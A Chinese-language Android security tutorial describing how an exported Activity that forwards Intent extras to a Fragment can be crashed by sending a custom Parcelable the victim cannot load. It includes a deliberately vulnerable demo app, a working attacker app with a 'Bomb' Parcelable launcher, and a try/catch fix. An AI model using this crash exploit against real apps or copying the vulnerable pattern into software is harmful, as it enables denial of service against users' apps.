利用bundle反序列化,让受害App崩溃,非常常见的一个安全问题

501 阅读2分钟

在开发中,bundle是一个很好用的容器,因为bundle拥有Map的能力,更强大的是值可以几乎任何类型的对象。然而,bundle在反序列化Parcelable的过程中却存在很多不安全的情况。比如,利用不安全的Parcelable实现实现权限提升;利用bundle的反序列化时反射对象导致App崩溃;利用bundle对象传输超大数据导致App崩溃等等。下面我要介绍的是利用bundle的反序列化时反射对象导致App崩溃的安全问题。

知识背景

当Bundle数据在传递时,会转化为字节流进行传递。详见writeArrayMapInternal方法,启动当写入Parcelable对象时,会写入这个对象的getClass().getName(),当接受者收到bundle时,获取数据时,会先初始化将所有数据还原并放到ArrayMap中,当有Parcelable对象时,则得到的是一个className,是通过调用Class.forName()方法来得到Parcelable对象的Class对象,由于Parcelable对象并不存在于接收者的ClassLoader中,所以此时将会直接崩溃。这个过程不需要接收者使用Parcelable对象,无法拒绝。

image.png

POC

image.png

靶场App实现

由于目前很多项目都适用的Activity + Fragment实现的,导致这个问题还是比较常见的。Fragment没有对外导出的能力,必须依靠Activity来实现对话导出,于是容易出现这么一个场景,就是Activity对外导出,并接收bundle数据,然后将bundle直接通过Fragment的setArguments方法传递。实现如下:

public class MainFragment extends Fragment {

    @Nullable
    @Override
    public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
        return inflater.inflate(R.layout.fragment_main,container, false);
    }

    @Override
    public void onViewCreated(@NonNull View view, @Nullable Bundle savedInstanceState) {
        super.onViewCreated(view, savedInstanceState);
        Bundle bundle = getArguments();
        if (bundle != null) {
            String value = bundle.getString("any");
            ((TextView)view.findViewById(R.id.content)).setText(value);
        }
    }
}

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Intent intent = getIntent();

        MainFragment fragment = new MainFragment();
        if (intent != null) {
            Bundle bundle = intent.getExtras();
            fragment.setArguments(bundle);
        }
        getSupportFragmentManager().beginTransaction()
                .add(R.id.fragmentContainer, fragment).commitNow();


    }
}
攻击App的代码实现
public class Bomb implements Parcelable {
    private String bomb = "bomb";

    @Override
    public int describeContents() {
        return 0;
    }

    @Override
    public void writeToParcel(Parcel dest, int flags) {
        dest.writeString(this.bomb);
    }

    public void readFromParcel(Parcel source) {
        this.bomb = source.readString();
    }

    public Bomb() {
    }

    protected Bomb(Parcel in) {
        this.bomb = in.readString();
    }

    public static final Creator<Bomb> CREATOR = new Creator<Bomb>() {
        @Override
        public Bomb createFromParcel(Parcel source) {
            return new Bomb(source);
        }

        @Override
        public Bomb[] newArray(int size) {
            return new Bomb[size];
        }
    };
}


public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        findViewById(R.id.btnNormal).setOnClickListener(this::normal);
        findViewById(R.id.btnAttackCrashByBundle).setOnClickListener(this::attackCrashByBundle);
    }

    private void attackCrashByBundle(View view) {
        Intent intent = new Intent();

        ComponentName cmp = new ComponentName("com.path.unsafebundle", "com.path.unsafebundle.MainActivity");

        intent.setAction(Intent.ACTION_MAIN);

        intent.addCategory(Intent.CATEGORY_LAUNCHER);

        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

        intent.setComponent(cmp);
        Bomb bomb = new Bomb();
        intent.putExtra("bomb",bomb);
        startActivity(intent);
    }

    private void normal(View view) {
        Intent intent = new Intent();

        ComponentName cmp = new ComponentName("com.path.unsafebundle", "com.path.unsafebundle.MainActivity");

        intent.setAction(Intent.ACTION_MAIN);

        intent.addCategory(Intent.CATEGORY_LAUNCHER);

        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

        intent.setComponent(cmp);
        intent.putExtra("any","正常拉起app");
        startActivity(intent);
    }
}

崩溃日志:

image.png

解决办法

Intent接收数据时,一定要使用try catch捕获运行时异常,避免崩溃